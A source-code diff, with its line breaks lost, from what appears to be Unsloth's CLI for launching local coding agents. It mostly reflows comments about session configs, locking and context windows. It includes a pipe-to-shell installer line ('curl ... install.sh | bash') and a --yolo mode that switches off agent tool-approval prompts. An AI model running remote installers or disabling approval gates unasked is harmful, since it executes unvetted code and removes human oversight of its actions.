*(f"{name}/p" for name in cwd_env), "PWD/p")))@@ -4295,13 +3894,10 @@ def _resolved_launch_command(environment: Optional[dict] = None,) -> list:"""Return an argv that preserves arguments through standard Windows npm shims."""- # _launch resolves with raw shutil.which, so rescue here too; the sibling- # then enters the parser below.+ # _launch resolves with raw shutil.which, so rescue here too; the sibling then enters the parser below.executable = _prefer_windows_cmd_sibling(executable)if os.name == "nt" and Path(executable).suffix.lower() in {".cmd", ".bat"}:- # cmd.exe treats CR/LF inside `%*` as command separators, and Windows- # PowerShell's native-command bridge also rewrites embedded quotes. Match- # complete cmd-shim templates so custom wrappers keep their setup behavior.+ # cmd.exe treats CR/LF inside `%*` as command separators, and Windows PowerShell's native-command bridge also rewrites embedded quotes. Match complete cmd-shim templates so custom wrappers keep their setup behavior.with contextlib.suppress(OSError, UnicodeError, IndexError):shim = Path(executable)contents = shim.read_text(encoding = "utf-8").replace("\r\n", "\n").strip()@@ -4346,8 +3942,7 @@ def _launch(unset_env: tuple = (),cwd_env: tuple = (),) -> int:- # Resolve well-known install dirs (e.g. ~/.local/bin) first, so an already-installed- # agent not yet on PATH is found instead of prompting a needless reinstall.+ # Resolve well-known install dirs (~/.local/bin) first, so an already-installed agent not yet on PATH is found instead of prompting a needless reinstall._augment_path_with_install_dirs()executable = _resolve_or_install_agent(command[0], install_hint, shutil.which)env, wsl_env_bridge = _wsl_shim_env(command, env, unset_env, cwd_env)@@ -4364,12 +3959,9 @@ def _launch(child_env.pop(name, None)child_env.update(env)if os.name != "nt" and not wsl_env_bridge:- # Keep POSIX child processes from seeing a stale inherited PWD when- # subprocess cwd was changed by the caller. Some Node CLIs use PWD for- # project-root discovery instead of process.cwd().+ # Keep POSIX child processes from seeing a stale inherited PWD when subprocess cwd was changed by the caller. Some Node CLIs use PWD for project-root discovery instead of process.cwd().child_env["PWD"] = os.getcwd()- # Ctrl+C cancels a turn inside the agent; don't let it kill this wrapper. A no-op- # handler, not SIG_IGN: exec preserves an ignored signal but resets a caught one.+ # Ctrl+C cancels a turn inside the agent; do not let it kill this wrapper. A no-op handler, not SIG_IGN: exec preserves an ignored signal but resets a caught one.previous = signal.signal(signal.SIGINT, lambda *_: None)try:launch_command = _resolved_launch_command(executable, command[1:], child_env)@@ -4390,10 +3982,7 @@ def _connect(server_options: ServerOptions = ServerOptions(),preload_check = None,) -> tuple:- # `--model org/name:QUANT` is shorthand for `--model org/name --gguf-variant QUANT`.- # Split it before we match/serve so the attach path resolves against the already-loaded- # `org/name` (listed without the suffix) instead of reloading a `:`-suffixed repo id --- # which Unsloth rejects and which would evict a model another session is using.+ # `--model org/name:QUANT` is shorthand for `--model org/name --gguf-variant QUANT`. Split it before we match or serve so the attach path resolves against the already-loaded `org/name` (listed without the suffix) instead of reloading a `:`-suffixed repo id, which Unsloth rejects and which would evict a model another session is using.if model:repo, variant = _split_repo_variant(model)if variant:@@ -4405,18 +3994,14 @@ def _connect()try:key = _agent_api_key(base, api_key, auto_started = server is not None)- # A server we just started has exactly the requested model loaded, so resolve to- # whatever it is serving instead of re-matching the raw --model string.- # Only an attach can still trigger an evicting load, so _resolve_model gets the- # pre-load check and runs it only when that load is imminent.+ # A server we just started has exactly the requested model loaded, so resolve to whatever it is serving instead of re-matching the raw --model string. Only an attach can still trigger an evicting load, so _resolve_model gets the pre-load check and runs it only when that load is imminent.entry = _resolve_model(base,key,None if server is not None else model,load,preload_check = None if server is not None else preload_check,- # That server was started FROM these knobs, so inferring a target here would- # reload what was just loaded.+ # That server was started FROM these knobs, so inferring a target here would reload what was just loaded.infer_resident = server is None,)except BaseException:@@ -4437,12 +4022,7 @@ def _run(clear_screen: bool = False,cwd_env: tuple = (),) -> None:- # Some agents (Pi) render inline from wherever the cursor sits: their first- # paint assumes a clean screen rather than clearing or entering the- # alternate screen themselves. Hand them one so the session doesn't start- # mid-scroll under our connection output. click.clear() is cross-platform- # and a no-op when stdout is not a terminal (piped/CI), so transcripts and- # --no-launch recipes stay intact.+ # Some agents (Pi) render inline from wherever the cursor sits: their first paint assumes a clean screen rather than clearing or entering the alternate screen themselves. Hand them one so the session does not start mid-scroll under our connection output. click.clear() is cross-platform and a no-op when stdout is not a terminal, so transcripts and --no-launch recipes stay intact.if launch and clear_screen:click.clear()typer.echo(f"Unsloth ready at {base} · model {entry['id']}")@@ -4468,8 +4048,7 @@ def _run(cwd_env = cwd_env,)except BaseException:- # Startup succeeded but the agent failed to launch; tear the server down- # rather than orphan it.+ # Startup succeeded but the agent failed to launch; tear the server down rather than orphan it._shutdown_auto_served()raiseauto_started = _auto_served_server is not None@@ -4494,17 +4073,14 @@ def _agents_config_root() -> Path:@contextlib.contextmanagerdef _temporary_agent_config(prefix: str):- # Nothing else prunes Unsloth's auth tree, so reuse the locked session helper: the next- # launch reclaims homes left by a killed wrapper, and the lock spares live sessions.+ # Nothing else prunes Unsloth's auth tree, so reuse the locked session helper: the next launch reclaims homes left by a killed wrapper, and the lock spares live sessions.temp_root = _agents_config_root() / ".tmp"with contextlib.ExitStack() as stack:try:temp_root.mkdir(parents = True, exist_ok = True, mode = 0o700)path = stack.enter_context(_short_ephemeral_session(temp_root, prefix))except OSError:- # Attaching to a remote or running Unsloth needs no local auth tree, so it may be- # absent or unwritable. Fall back to the system temp dir, as before: no- # reclamation there, but the OS prunes it.+ # Attaching to a remote or running Unsloth needs no local auth tree, so it may be absent or unwritable. Fall back to the system temp dir, as before: no reclamation there, but the OS prunes it.path = Path(tempfile.mkdtemp(prefix = prefix))stack.callback(shutil.rmtree, path, ignore_errors = True)yield path@@ -4518,11 +4094,7 @@ def _ephemeral_session_parent(agent: str) -> Optional[Path]:"""Return a non-system-temp parent when an agent needs one."""if os.name != "nt" or agent not in _CODEX_SHORT_HOME_AGENTS:return None- # Codex creates a deeply nested curated-plugin checkout below CODEX_HOME.- # A normal %TEMP%\unsloth-codex-* home can exceed legacy Windows path- # limits during startup, and Codex also refuses to create its PATH helpers- # below the system temp directory. Keep the throwaway home short but still- # private to the current user; _session_config removes it on exit.+ # Codex creates a deeply nested curated-plugin checkout below CODEX_HOME. A normal %TEMP%\\unsloth-codex-* home can exceed legacy Windows path limits during startup, and Codex also refuses to create its PATH helpers below the system temp directory. Keep the throwaway home short but still private to the current user; _session_config removes it on exit.root = Path.home() / ".unsloth" / ".tmp"root.mkdir(parents = True, exist_ok = True, mode = 0o700)return root@@ -4559,9 +4131,7 @@ def _locked_file(path: Path, blocking: bool = True):raiseif not blocking:break- # LK_LOCK gives up after roughly ten seconds. Poll LK_NBLCK- # instead so a large stale plugin checkout cannot make a- # concurrent launch fail just because cleanup takes longer.+ # LK_LOCK gives up after roughly ten seconds. Poll LK_NBLCK instead so a large stale plugin checkout cannot make a concurrent launch fail just because cleanup takes longer.time.sleep(0.05)else:import fcntl@@ -4592,9 +4162,7 @@ def _reclaim_stale_ephemeral_sessions(parent: Path, prefix: str) -> None:modified = active_lock.stat().st_mtime if active_lock.exists() else path.stat().st_mtimeexcept FileNotFoundError:continue- # The wrapper owns the advisory lock, not the Codex child. If only the- # wrapper is killed, its child may still be using CODEX_HOME; give that- # process a full day to finish before treating the unlocked home as stale.+ # The wrapper owns the advisory lock, not the Codex child. If only the wrapper is killed, its child may still be using CODEX_HOME; give that process a full day to finish before treating the unlocked home as stale.if time.time() - modified < _CODEX_EPHEMERAL_STALE_SECONDS:continuetry:@@ -4648,8 +4216,7 @@ def _short_ephemeral_session(parent: Path, prefix: str = "u-codex-"):with _locked_file(parent / ".cleanup.lock") as cleanup_lock:if not cleanup_lock: # The blocking acquisition should always succeed.raise RuntimeError(f"Could not lock ephemeral session root: {parent}")- # Release the live marker only after deletion is serialized with- # startup scavenging, so no scanner can race this rmtree.+ # Release the live marker only after deletion is serialized with startup scavenging, so no scanner can race this rmtree.active_lock.close()if path is not None:shutil.rmtree(path, ignore_errors = True)@@ -4663,14 +4230,7 @@ def _session_config(launch: bool,persist: bool = False,):- """Yield a private directory for an agent's session config (never the user's own).-- launch (default): an ephemeral temp dir removed after the agent process exits, so- nothing persists. no-launch: a stable Unsloth-owned dir (the printed recipe is run- later on this machine), reused across runs. persist (from --persist): use that same- stable dir even for a launch, so the agent's session survives the exit and can be- resumed next time. Either way the user's real ~/.<agent> config is left untouched.- """+ """Yield a private directory for an agent's session config (never the user's own). launch (the default) uses an ephemeral temp dir removed after the agent process exits, so nothing persists; no-launch uses a stable Unsloth-owned dir, since the printed recipe is run later on this machine; persist (from --persist) uses that same stable dir even for a launch, so the agent's session survives the exit and can be resumed. Either way the user's real ~/.<agent> config is left untouched."""if launch and not persist:# Windows codex keeps #7519's short home (MAX_PATH); everyone else uses Unsloth's root.parent = _ephemeral_session_parent(agent)@@ -4682,22 +4242,14 @@ def _session_config(with _temporary_agent_config(prefix) as path:yield pathelse:- # Never wipe this dir: a previously printed recipe may still be running- # an agent whose sessions/state live here, and every config writer- # merges idempotently into an existing home anyway. Writers must also- # reset any state a previous run's flags left behind (--yolo especially),- # since files here outlive the invocation that wrote them.+ # Never wipe this dir: a previously printed recipe may still be running an agent whose sessions and state live here, and every config writer merges idempotently into an existing home anyway. Writers must also reset any state a previous run's flags left behind (--yolo especially), since files here outlive the invocation that wrote them.path = _agents_config_root() / agentpath.mkdir(parents = True, exist_ok = True, mode = 0o700)yield pathdef _studio_embedding_model(base: str, key: str) -> Optional[str]:- """Studio's configured embedding model, or None when this server cannot say.-- Not a model name: a name this server will not serve, beside fallback "none", is the one- combination OpenClaw cannot degrade out of. The caller writes provider "none" instead.- """+ """Studio's configured embedding model, or None when this server cannot say. Not a model name: a name this server will not serve, beside fallback "none", is the one combination OpenClaw cannot degrade out of, so the caller writes provider "none" instead."""try:info = _http_json("GET", f"{base}/api/settings/embedding-model", key, timeout = 10)# typer.Exit is a RuntimeError subclass: the broad catch would swallow a deliberate abort.@@ -4743,8 +4295,7 @@ def write_openclaw_config("api": "openai-completions","models": [provider_model],}- # Memory search is on by default and defaults to openai, so a local session reaches- # OpenAI unless this block is written.+ # Memory search is on by default and defaults to openai, so a local session reaches OpenAI unless this block is written.search = _subdict(_subdict(config, "memory"), "search")if embedding_model:search.update(@@ -4756,8 +4307,7 @@ def write_openclaw_config(})else:- # "none" is OpenClaw's keyword-only mode: no network call, and search still returns- # hits. Clearing the remote stops a reused --persist config aiming at a dead endpoint.+ # "none" is OpenClaw's keyword-only mode: no network call, and search still returns hits. Clearing the remote stops a reused --persist config aiming at a dead endpoint.search.update({"provider": "none", "fallback": "none"})search.pop("model", None)search.pop("remote", None)@@ -4767,44 +4317,32 @@ def write_openclaw_config(agents = _subdict(config, "agents")defaults = _subdict(agents, "defaults")_subdict(defaults, "model")["primary"] = f"unsloth/{model['id']}"- # `unsloth start openclaw` is a coding-agent entry point, so the selected- # project may already contain its own AGENTS.md and git metadata. Do not seed- # OpenClaw's personal-assistant bootstrap files or initialize a repository in it.+ # `unsloth start openclaw` is a coding-agent entry point, so the selected project may already contain its own AGENTS.md and git metadata. Do not seed OpenClaw's personal-assistant bootstrap files or initialize a repository in it.defaults["skipBootstrap"] = True- # OPENCLAW_STATE_DIR does not relocate the workspace. Callers normally pin it to- # the directory where `unsloth start openclaw` was invoked so OpenClaw edits the- # same project as every other coding agent. Keep the managed fallback for direct- # config-writer callers that do not provide an explicit workspace.+ # OPENCLAW_STATE_DIR does not relocate the workspace. Callers normally pin it to the directory where `unsloth start openclaw` was invoked so OpenClaw edits the same project as every other coding agent. Keep the managed fallback for direct config-writer callers that do not provide an explicit workspace.if workspace_path is None:workspace = path.parent / "workspace"workspace.mkdir(parents = True, exist_ok = True, mode = 0o700)workspace_path = str(workspace)defaults["workspace"] = workspace_path- # Per-agent paths override agents.defaults.workspace and OPENCLAW_STATE_DIR. This- # config is itself an isolated Unsloth copy, so remove stale explicit paths and let- # OpenClaw resolve every listed agent beneath the managed defaults/state directory.+ # Per-agent paths override agents.defaults.workspace and OPENCLAW_STATE_DIR. This config is itself an isolated Unsloth copy, so remove stale explicit paths and let OpenClaw resolve every listed agent beneath the managed defaults/state directory.agent_list = agents.get("list")if isinstance(agent_list, list):for agent_config in agent_list:if isinstance(agent_config, dict):agent_config.pop("workspace", None)agent_config.pop("agentDir", None)- # Unauthenticated loopback gateway: without auth.mode=none the client won't open- # the websocket. The daemon must still be started separately (`openclaw gateway`).+ # Unauthenticated loopback gateway: without auth.mode=none the client will not open the websocket. The daemon must still be started separately (`openclaw gateway`).gateway = _subdict(config, "gateway")gateway.setdefault("mode", "local")_subdict(gateway, "auth").setdefault("mode", "none")if yolo:- # OpenClaw has no --yolo flag, and it gates tool execution on BOTH the- # tools.exec config AND a host-local approvals file (the stricter wins), so- # setting only the config still lets the agent prompt/deny. Set both, mirroring- # `openclaw exec-policy preset yolo`.+ # OpenClaw has no --yolo flag, and it gates tool execution on BOTH the tools.exec config AND a host-local approvals file (the stricter wins), so setting only the config still lets the agent prompt or deny. Set both, mirroring `openclaw exec-policy preset yolo`.exec_policy = _subdict(_subdict(config, "tools"), "exec")exec_policy["host"] = "gateway"exec_policy["security"] = "full"exec_policy["ask"] = "off"- # Approvals file in OPENCLAW_STATE_DIR (== this config's dir). ask=off means- # nothing is ever prompted, so the runtime socket block is unnecessary here.+ # Approvals file in OPENCLAW_STATE_DIR (the same as this config's dir). ask=off means nothing is ever prompted, so the runtime socket block is unnecessary here.approvals = path.parent / "exec-approvals.json"_write_private_json(approvals,@@ -4812,22 +4350,11 @@ def write_openclaw_config()typer.echo(f"Updated {approvals}")else:- # The no-launch config dir is reused across runs, so a previous --yolo run may- # have left auto-approval state behind. OpenClaw treats an omitted exec policy as- # security=full, ask=off on the gateway host, so deleting the keys would keep- # auto-approval on: a non-yolo run must WRITE a prompting policy. Only a- # permissive/yolo policy is replaced; a stricter one set by hand survives.+ # The no-launch config dir is reused across runs, so a previous --yolo run may have left auto-approval state behind. OpenClaw treats an omitted exec policy as security=full, ask=off on the gateway host, so deleting the keys would keep auto-approval on: a non-yolo run must WRITE a prompting policy. Only a permissive/yolo policy is replaced; a stricter one set by hand survives.tools = config.get("tools")exec_policy = tools.get("exec") if isinstance(tools, dict) else Noneexec_policy = exec_policy if isinstance(exec_policy, dict) else {}- # Match ONLY the exact fingerprint --yolo writes (host=gateway, security=full,- # ask=off, all explicit, no mode); anything else is left untouched. host=auto or an- # omitted host resolves to security=deny under an active sandbox, so treating those- # as the permissive gateway default would broaden a fresh sandboxed config from- # deny to allowlist. host=node and host=sandbox are user-set (--yolo only writes- # gateway). tools.exec.mode is OpenClaw's normalized knob (it cannot be combined- # with security/ask, and OpenClaw never rewrites our security/ask write into it),- # so a mode is always a deliberate user policy; never clobber it.+ # Match ONLY the exact fingerprint --yolo writes (host=gateway, security=full, ask=off, all explicit, no mode); anything else is left untouched. host=auto or an omitted host resolves to security=deny under an active sandbox, so treating those as the permissive gateway default would broaden a fresh sandboxed config from deny to allowlist. host=node and host=sandbox are user-set (--yolo only writes gateway). tools.exec.mode is OpenClaw's normalized knob, cannot be combined with security/ask, and OpenClaw never rewrites our security/ask write into it, so a mode is always a deliberate user policy; never clobber it.permissive = ("mode" not in exec_policyand exec_policy.get("host") == "gateway"@@ -4839,17 +4366,13 @@ def write_openclaw_config(exec_policy.pop("host", None) # routing only; defaults to the gateway hostexec_policy["security"] = "allowlist" # only allowlisted commands skip approvalexec_policy["ask"] = "on-miss" # prompt on every non-allowlisted command- # Drop the yolo defaults from the host approvals file (a stricter default set by- # the user or OpenClaw is kept). With a prompting tools.exec the stricter of the- # two layers wins, so an omitted approvals default still prompts.+ # Drop the yolo defaults from the host approvals file (a stricter default set by the user or OpenClaw is kept). With a prompting tools.exec the stricter of the two layers wins, so an omitted approvals default still prompts.approvals = path.parent / "exec-approvals.json"if approvals.exists():state = _read_json_object(approvals)if state is not None:defaults = state.get("defaults")- # Strip the defaults only when they are exactly the yolo fingerprint; a- # user-managed mixed policy that merely shares a field (e.g. askFallback=full,- # whose omitted default is deny) must be kept intact.+ # Strip the defaults only when they are exactly the yolo fingerprint; a user-managed mixed policy that merely shares a field (askFallback=full, whose omitted default is deny) must be kept intact.yolo_defaults = (("security", "full"), ("ask", "off"), ("askFallback", "full"))is_yolo = isinstance(defaults, dict) and all(defaults.get(k) == v for k, v in yolo_defaults@@ -4890,15 +4413,12 @@ def write_opencode_config(return {}before = json.dumps(config, sort_keys = True)config.setdefault("$schema", "https://opencode.ai/config.json")- # Keep the provider definition in this private session file. The launch path- # adjusts effective provider filters in the higher-priority inline overlay.+ # Keep the provider definition in this private session file. The launch path adjusts effective provider filters in the higher-priority inline overlay.model_entry = {"name": model["id"]}window = model.get("context_length") or model.get("max_context_length")if window:window = int(window)- # A custom-provider model with no limit defaults to context 0, which silently- # disables OpenCode's auto-compaction; declare the real window (and a sane- # output cap) so it compacts instead of overflowing the server.+ # A custom-provider model with no limit defaults to context 0, which silently disables OpenCode's auto-compaction; declare the real window and a sane output cap so it compacts instead of overflowing the server.model_entry["limit"] = {"context": window, "output": min(window // 4, 8192)}_subdict(config, "provider")[_OPENCODE_PROVIDER] = {"npm": "@ai-sdk/openai-compatible",@@ -4906,8 +4426,7 @@ def write_opencode_config("options": {"baseURL": f"{base}/v1", "apiKey": key},"models": {model["id"]: model_entry},}- # Normal mode pins this as the session model. Subagent mode leaves the user's- # main/small models alone and exposes the local model to @unsloth and /models.+ # Normal mode pins this as the session model. Subagent mode leaves the user's main/small models alone and exposes the local model to @unsloth and /models.opencode_model = f"{_OPENCODE_PROVIDER}/{model['id']}"if as_subagent:for field in ("model", "small_model"):@@ -4930,29 +4449,18 @@ def write_opencode_config(if not agents:config.pop("agent", None)if window and not as_subagent:- # Compact with ~10% headroom (near 90% full). The fixed 20k-token default- # buffer over-compacts, or never settles, on a small local context.+ # Compact with ~10% headroom (near 90% full). The fixed 20k-token default buffer over-compacts, or never settles, on a small local context.compaction = _subdict(config, "compaction")compaction["auto"] = Truecompaction["reserved"] = max(1, window // 10)tools = ("edit", "bash", "webfetch", *(("task",) if as_subagent else ()))if yolo:- # Fallback for commands without native --auto and for the append-safe bare- # --no-launch command (subcommand unknown yet). Rides inline (OPENCODE_CONFIG_CONTENT)- # so it wins over a project config. TUI and `run` launches use --auto and call here- # with yolo=False, letting OpenCode preserve explicit deny rules.+ # Fallback for commands without native --auto and for the append-safe bare --no-launch command, where the subcommand is not known yet. Rides inline (OPENCODE_CONFIG_CONTENT) so it wins over a project config. TUI and `run` launches use --auto and call here with yolo=False, letting OpenCode preserve explicit deny rules.session_permission = {t: "allow" for t in tools}session_permission["external_directory"] = {"*": "allow"}config["permission"] = dict(session_permission)else:- # Undo only what --yolo wrote: our yolo sets an explicit per-tool "allow" for these- # three tools, so flip exactly those explicit allows back to "ask". A "deny"/"ask",- # a granular object, a string, or a "*" catch-all is the user's own rule and is left- # untouched. We do NOT carry a permission inline for a non-yolo session: since- # OPENCODE_CONFIG_CONTENT outranks the project opencode.json we cannot read, any- # value forced there would override the user's project rules (weakening a project- # deny, or auto-approving through a granular object's permissive default). Clearing- # our own persisted yolo state is the fix; the project's own permissions are honored.+ # Undo only what --yolo wrote: our yolo sets an explicit per-tool "allow" for these three tools, so flip exactly those explicit allows back to "ask". A "deny"/"ask", a granular object, a string, or a "*" catch-all is the user's own rule and is left untouched. We do NOT carry a permission inline for a non-yolo session: since OPENCODE_CONFIG_CONTENT outranks the project opencode.json we cannot read, any value forced there would override the user's project rules, weakening a project deny or auto-approving through a granular object's permissive default. Clearing our own persisted yolo state is the fix.session_permission: dict = {}permission = config.get("permission")if isinstance(permission, dict):@@ -4991,8 +4499,7 @@ def write_hermes_config(base: str, model: dict, path: Path) -> None:err = True,)return- # Hermes only reads the key for a *named* custom provider (a bare- # `provider: custom` ignores it), so register it under providers.*.+ # Hermes only reads the key for a NAMED custom provider (a bare `provider: custom` ignores it), so register it under providers.*._subdict(config, "model").update(provider = f"custom:{_HERMES_PROVIDER}",default = model["id"],@@ -5001,19 +4508,12 @@ def write_hermes_config(base: str, model: dict, path: Path) -> None:window = model.get("context_length") or model.get("max_context_length")if window:window = int(window)- # Hermes auto-detects context from GET /v1/models, but OpenAI's schema has no- # context field, so it can fall back to a 256k default that overflows a small- # local model. Pin the real window (top-level model.context_length is the- # highest-priority override) and compact at 90% of it (Hermes defaults to 50%).+ # Hermes auto-detects context from GET /v1/models, but OpenAI's schema has no context field, so it can fall back to a 256k default that overflows a small local model. Pin the real window (top-level model.context_length is the highest-priority override) and compact at 90% of it (Hermes defaults to 50%).if window >= _HERMES_MIN_CONTEXT:_subdict(config, "model")["context_length"] = window_subdict(config, "compression").update(enabled = True, threshold = 0.9)else:- # Below Hermes' 64,000-token floor it refuses to initialize, so claim- # the floor and shrink the threshold so compaction still fires at 90%- # of the REAL window (the threshold is a fraction of the claimed- # context_length). The auxiliary override keeps the same floor check- # from rejecting the compression model mid-session.+ # Below Hermes' 64,000-token floor it refuses to initialize, so claim the floor and shrink the threshold so compaction still fires at 90% of the REAL window (the threshold is a fraction of the claimed context_length). The auxiliary override keeps the same floor check from rejecting the compression model mid-session._subdict(config, "model")["context_length"] = _HERMES_MIN_CONTEXTthreshold = round(0.9 * window / _HERMES_MIN_CONTEXT, 4)_subdict(config, "compression").update(enabled = True, threshold = threshold)@@ -5041,16 +4541,12 @@ def write_pi_config(base: str, key: str, model: dict, path: Path) -> None:)returnbefore = json.dumps(config, sort_keys = True)- # Pi reads custom providers from ~/.pi/agent/models.json (HOME-relocated for the- # session). Unsloth is a generic OpenAI-compatible /v1 endpoint, and the key lives- # in the config rather than the env (matching openclaw/opencode).+ # Pi reads custom providers from ~/.pi/agent/models.json (HOME-relocated for the session). Unsloth is a generic OpenAI-compatible /v1 endpoint, and the key lives in the config rather than the env, matching openclaw/opencode.provider_model = {"id": model["id"]}window = model.get("context_length") or model.get("max_context_length")if window:window = int(window)- # An unspecified model defaults to contextWindow 128000 / maxTokens 16384,- # far larger than a small Unsloth context, so Pi compacts too late and overflows- # the server. Pin the real window and a sane output cap (mirrors OpenCode).+ # An unspecified model defaults to contextWindow 128000 / maxTokens 16384, far larger than a small Unsloth context, so Pi compacts too late and overflows the server. Pin the real window and a sane output cap, mirroring OpenCode.provider_model["contextWindow"] = windowprovider_model["maxTokens"] = min(window // 4, 8192)_subdict(config, "providers")[_PI_PROVIDER] = {@@ -5159,8 +4655,7 @@ def claude(if os.name == "nt"else "curl -fsSL https://claude.ai/install.sh | bash")- # Before the install prompt: _install_agent runs a remote installer, and this can- # refuse outright, so asking first fetches a tool the run cannot use.+ # Before the install prompt: _install_agent runs a remote installer, and this can refuse outright, so asking first fetches a tool the run cannot use._preflight_agent_gguf(_CLAUDE_GGUF_AGENT, model, serve = serve, launch = launch)_require_agent_for_launch("claude", install_hint, launch)base, key, entry = _connect(@@ -5211,9 +4706,7 @@ def claude("claude","--plugin-dir",_agent_config_path(plugin, ["claude"]),- # Before ctx.args: a forwarded `--` would turn later flags positional.- # `=` form: --allowedTools is variadic, so a detached value swallows- # the first forwarded positional.+ # Before ctx.args: a forwarded `--` would turn later flags positional. The `=` form is used because --allowedTools is variadic, so a detached value swallows the first forwarded positional.f"--allowedTools={_CLAUDE_SUBAGENT_TOOL},{_CLAUDE_SUBAGENT_PLAN_TOOL}",*_yolo_command_flags("claude", yolo),*ctx.args,@@ -5233,14 +4726,7 @@ def claude(returnenv = _claude_local_env(base, key, entry)- # Claude Code auto-compacts against its native context window. The local env- # above supplies the loaded model's real window and a 90% threshold instead.- # --yolo (or its aliases) maps to Claude's own --dangerously-skip-permissions.- # IS_SANDBOX is left unset on purpose: Claude refuses bypass mode as root unless a- # sandbox is detected, and we don't want to falsely claim one on the user's host.- # claude keeps its history in ~/.claude/projects, which --settings/env never- # relocate, so a session already survives exit; resume it with `claude --continue`- # or `--resume <id>` passed through.+ # Claude Code auto-compacts against its native context window; the local env above supplies the loaded model's real window and a 90% threshold instead. --yolo (or its aliases) maps to Claude's own --dangerously-skip-permissions. IS_SANDBOX is left unset on purpose: Claude refuses bypass mode as root unless a sandbox is detected, and we do not want to falsely claim one on the user's host. claude keeps its history in ~/.claude/projects, which --settings/env never relocate, so a session already survives exit; resume it with `claude --continue` or `--resume <id>` passed through.with _session_config("claude", launch, persist = persist) as config:settings = _write_claude_settings(config, model_id, env)command = _claude_local_command(@@ -5291,8 +4777,7 @@ def codex(# Route a leading `org/name` positional to --model; forward the rest to the agent.model, ctx.args[:] = _consume_positional_model(model, ctx.args)install_hint = _npm_install_hint("@openai/codex")- # Before the install prompt: _install_agent runs a remote installer, and this can- # refuse outright, so asking first fetches a tool the run cannot use.+ # Before the install prompt: _install_agent runs a remote installer, and this can refuse outright, so asking first fetches a tool the run cannot use._preflight_agent_gguf(_CODEX_GGUF_AGENT, model, serve = serve, launch = launch)_require_agent_for_launch("codex", install_hint, launch)base, key, entry = _connect(@@ -5318,9 +4803,7 @@ def codex(presence_penalty = presence_penalty,),)- # This preflight runs after _connect may have auto-started a server but before _run- # takes over its lifecycle, so tear the server down here if it rejects the model- # (e.g. a transformers-backend model) rather than leaving it on the atexit backstop.+ # This preflight runs after _connect may have auto-started a server but before _run takes over its lifecycle, so tear the server down here if it rejects the model (a transformers-backend model) rather than leaving it on the atexit backstop.try:_require_gguf_for_agent(_CODEX_GGUF_AGENT, base, key, entry["id"])except BaseException:@@ -5438,21 +4921,13 @@ def openclaw(),)openclaw_args = list(ctx.args)- # Default a bare `unsloth start openclaw` to the local TUI. Anything the caller- # passes through is forwarded verbatim so OpenClaw parses it under its own grammar- # (openclaw [global-flags] <command> [options]): an explicit subcommand, a global- # flag that must precede the command such as --profile/--dev, or a tui option. We- # cannot reinterpret those safely because a leading "--flag value" is ambiguous- # between a global (`--profile test`) and a tui option (`--message hi`); prepending- # `tui --local` would break the global form, so only the empty case is defaulted.+ # Default a bare `unsloth start openclaw` to the local TUI. Anything the caller passes through is forwarded verbatim so OpenClaw parses it under its own grammar (openclaw [global-flags] <command> [options]): an explicit subcommand, a global flag that must precede the command such as --profile/--dev, or a tui option. We cannot reinterpret those safely because a leading "--flag value" is ambiguous between a global (`--profile test`) and a tui option (`--message hi`), and prepending `tui --local` would break the global form, so only the empty case is defaulted.if not openclaw_args:openclaw_args = ["tui", "--local"]command = ["openclaw", *openclaw_args]with _session_config("openclaw", launch, persist = persist) as cfg:config_path = cfg / "openclaw.json"- # key lives in the config, not the env; --yolo writes the exec policy here too.- # Resolve the project only when the recipe executes: a --no-launch command may be- # generated in one directory, saved, and intentionally run later from another.+ # The key lives in the config, not the env; --yolo writes the exec policy here too. Resolve the project only when the recipe executes: a --no-launch command may be generated in one directory, saved, and intentionally run later from another.write_openclaw_config(base,key,@@ -5544,8 +5019,7 @@ def opencode(if as_subagent:subagent_id = _subagent_model_id(base, key, entry, model, gguf_variant)subagent_model = {**entry, "id": subagent_id}- # Stay append-safe for a bare no-launch recipe: a later `run <prompt>` would make- # `opencode --auto run ...` parse as the TUI, so keep yolo in the inline fallback.+ # Stay append-safe for a bare no-launch recipe: a later `run <prompt>` would make `opencode --auto run ...` parse as the TUI, so keep yolo in the inline fallback.route_native_auto = (yolo and _opencode_supports_native_auto(command_name) and (launch or bool(ctx.args)))@@ -5573,8 +5047,7 @@ def opencode(command = command_name,v2 = opencode_v2,)- # A project opencode.json outranks the session file and could field-merge its- # own agent.unsloth over ours. Pin ours in the inline overlay so it wins.+ # A project opencode.json outranks the session file and could field-merge its own agent.unsloth over ours. Pin ours in the inline overlay so it wins.inline_config.setdefault("agent", {})[_SUBAGENT_NAME] = {"description": _SUBAGENT_DESCRIPTION,"mode": "subagent",@@ -5593,13 +5066,7 @@ def opencode()returnopencode_model = f"{_OPENCODE_PROVIDER}/{entry['id']}"- # The inline OPENCODE_CONFIG_CONTENT below pins the model in the highest-priority- # layer, so the session model is forced without a --model flag. Only add --model for- # an interactive bare launch (a convenience so the TUI opens on our model). It is- # omitted for passthrough (inserting it before a subcommand can be misparsed) and for- # --no-launch, where the printed command is consumed by drivers that append a- # subcommand such as `run <prompt>`; a leading --model would land before that- # subcommand and break it. Those paths rely on the inline pin instead.+ # The inline OPENCODE_CONFIG_CONTENT below pins the model in the highest-priority layer, so the session model is forced without a --model flag. Only add --model for an interactive bare launch, as a convenience so the TUI opens on our model: it is omitted for passthrough, where inserting it before a subcommand can be misparsed, and for --no-launch, where the printed command is consumed by drivers that append a subcommand such as `run <prompt>` and a leading --model would land before it. Those paths rely on the inline pin instead.native_auto = Falseroute_native_auto = yolo and _opencode_supports_native_auto(command_name)if ctx.args:@@ -5621,17 +5088,13 @@ def opencode()command = [command_name, *opencode_args]else:- # Append-safe base: `opencode --auto run ...` parses as the TUI with a project- # "run", not the run subcommand. Command unknown here, so keep the config fallback.+ # Append-safe base: `opencode --auto run ...` parses as the TUI with a project "run", not the run subcommand. The command is unknown here, so keep the config fallback.opencode_args = _opencode_v2_standalone_args([]) if opencode_v2 else []command = [command_name, *opencode_args]- # opencode keeps sessions in ~/.local/share/opencode (never relocated), so resume- # already survives exit; reopen the last one by passing `opencode --continue` through.+ # opencode keeps sessions in ~/.local/share/opencode (never relocated), so resume already survives exit; reopen the last one by passing `opencode --continue` through.with _session_config("opencode", launch, persist = persist) as cfg:config_path = cfg / "opencode.json"- # OPENCODE_CONFIG is an overlay (loaded between the user's global and project- # configs), so this adds the Unsloth provider/model for the session without- # changing the user's default model. Key lives in the config, not the env.+ # OPENCODE_CONFIG is an overlay, loaded between the user's global and project configs, so this adds the Unsloth provider/model for the session without changing the user's default model. The key lives in the config, not the env.session_permission = write_opencode_config(base,key,@@ -5639,18 +5102,7 @@ def opencode(config_path,yolo = yolo and not native_auto,)- # A project's own opencode.json outranks OPENCODE_CONFIG, so the session model 